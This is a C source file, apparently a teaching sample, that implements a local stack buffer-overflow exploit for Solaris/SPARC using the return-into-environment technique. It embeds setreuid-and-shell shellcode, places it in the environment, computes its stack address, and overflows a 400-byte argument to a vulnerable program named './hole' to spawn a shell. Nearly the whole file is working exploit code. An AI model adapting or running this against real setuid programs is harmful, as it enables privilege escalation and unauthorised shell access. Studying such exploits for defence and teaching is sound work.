/*
 *  Solaris/SPARC sample exploit 
 *
 *  Return into the environment technique 
 *
 *  Inode <inode@deadlocks.info>
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <stdlib.h>
#include <dlfcn.h>

#define VULPROG "./hole"

#define BUFFER_LEN 400

/*
 *  Sparc shellcode wrote by Claes M. Nyberg 
 *  http://www.shellcode.com.ar/sun/sol-sparc-setreuid-sh.c
 */

char sparc_shellcode[] =
"\x82\x10\x20\x18\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22"
"\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x82\x10\x20\x2f\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22"
"\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x94\x1a\x80\x0a\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b"
"\xcb\xdc\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8"
"\xe0\x23\xbf\xf4\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23"
"\xbf\xec\x92\x23\xa0\x14\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x82\x10\x20\x01\x91\xd0\x20\x08";

/*
 * Global Variables
 */

char * 		env[100];
char *		arg[100];
int 		env_num = 0;
int             arg_num = 0;
unsigned long	env_len = 0;
unsigned long	arg_len = 0;

/*
 * Prototypes
 */

unsigned long 	add_env( unsigned char * string );
unsigned long 	add_arg( unsigned char * string );
void		pad_arg( void );
void		set_val( char * buffer, long pos, unsigned long value);


/*
 * Main
 */

int main(int argc, char **argv)
{
	char platform[256];

	unsigned char buffer[BUFFER_LEN];

	unsigned long argv0 = (unsigned long) argv[0]; 
	unsigned long stack_base;
	unsigned long total_len;
	unsigned long shellcode;

	int i;

	/*
	 *  Get SI_PLATFORM  
	 */
	sysinfo(SI_PLATFORM, platform, sizeof(platform));
	fprintf( stderr, "[+] SI_PLATFORM		: %s\n", platform);

        /*
         *  Get Stack base 
         */
	stack_base = ( argv0 | 0xffff ) & 0xfffffffc;
	fprintf( stderr, "[+] Base of the stack	: 0x%p\n", (char *)stack_base);

	/*
	 * Fill the buffer
	 */	
	memset(buffer, 'A', sizeof(buffer));
	buffer[sizeof(buffer)-1] = 0;

	/*
	 * Add the arguments
	 */
	add_arg( buffer );
	add_arg( NULL );

	/*
	 * Pad ARGV. If argv will be padded also ENV[0] will be padded
	 */
	pad_arg();

	/*
	 * Put our shellcode on the environment
	 */	
	add_env( sparc_shellcode );
	add_env( NULL );

	/*
	 * Calculate the full len of the 
	 */
	total_len = arg_len + env_len + strlen( platform ) + 1
		 + strlen( (char *)(strrchr(VULPROG,'/') + 1 ) ) + 1;

	/*
	 * adjust the full len if not padded
	 */
        total_len += 7 - ( (total_len + ( env_num + arg_num + 3) * 4 + 3)  %8   );

	fprintf( stderr, "[+] ARGV[0] at		: 0x%p\n", (char *) stack_base - total_len);

	shellcode = stack_base - total_len + arg_len;

	fprintf( stderr, "[+] Shellcode at	: 0x%p\n", (char *) shellcode);

	/* 
	 * Fill the buffer with return address.
	 * When the program will get our address will add 8 to it.
	 */
	for( i = 0 ; i < strlen(buffer)-4 -1; i+=4)
		set_val(buffer, i, shellcode - 8); 
	
	/*
	 * Execute the vuln program
	 */
	if( execve( VULPROG, arg, env ) < 0 )
		fprintf( stderr, "Error in executing vuln program\n");

	return 0;	
}

/*
 * Set a value on the buffer
 */
void set_val( char * buffer, long pos, unsigned long value)
{
        buffer[pos]   = (value & 0xff000000) >> 24;
        buffer[pos+1] = (value & 0x00ff0000) >> 16;
        buffer[pos+2] = (value & 0x0000ff00) >> 8;
        buffer[pos+3] = (value & 0x000000ff);
}

/*
 * Pad the ARGVS
 */

void pad_arg( void )
{
	long pad;
	unsigned char * argv1;

	if( arg_len%4 == 0 )
		return;
	
	pad = 4 - (arg_len%4);

	argv1 = (unsigned char *) malloc( (pad+4) * sizeof(char)); 

	memset( argv1, 'B', (pad+4) * sizeof(char));

	argv1[ (pad+4) * sizeof(char) -1 ] = 0;
	
	arg[0] = argv1;

	arg_len = arg_len - 4 + strlen( argv1 ) + 1; 	

	return;

}


/*
 * Add an argument to the ARGV array
 */

unsigned long add_arg( unsigned char * string )
{
	if( string == NULL ) {
		arg[ arg_num ] = NULL;
		return arg_len;
	}

	if( arg_num == 0 ) {
		arg[ arg_num ] = "AAA";
		arg_len += strlen( "AAA" ) + 1;
		arg_num++;
	}

	arg[ arg_num ] = string;

	arg_len += strlen( string ) + 1;

	arg_num++;

	return arg_len;	
}

/*
 * Add an environment variable to the array.
 * This function will always pad with 0 pointer
 * the variable added. 
 */

unsigned long add_env( unsigned char * string )
{
	int i;

	if( string == NULL ) {
		env[ env_num ] = NULL;
		return env_len;
	}

	env[ env_num ] = string;

	env_len += strlen( string ) + 1;	

	env_num++;

	if( (strlen( string ) + 1) % 4 != 0) {
		for( i = 0; i < ( 4 - ((strlen( string ) + 1) % 4)); i++, env_num++) {
			env[ env_num ] = string + strlen( string );
			env_len ++;
		}
	}

	return env_len;
}


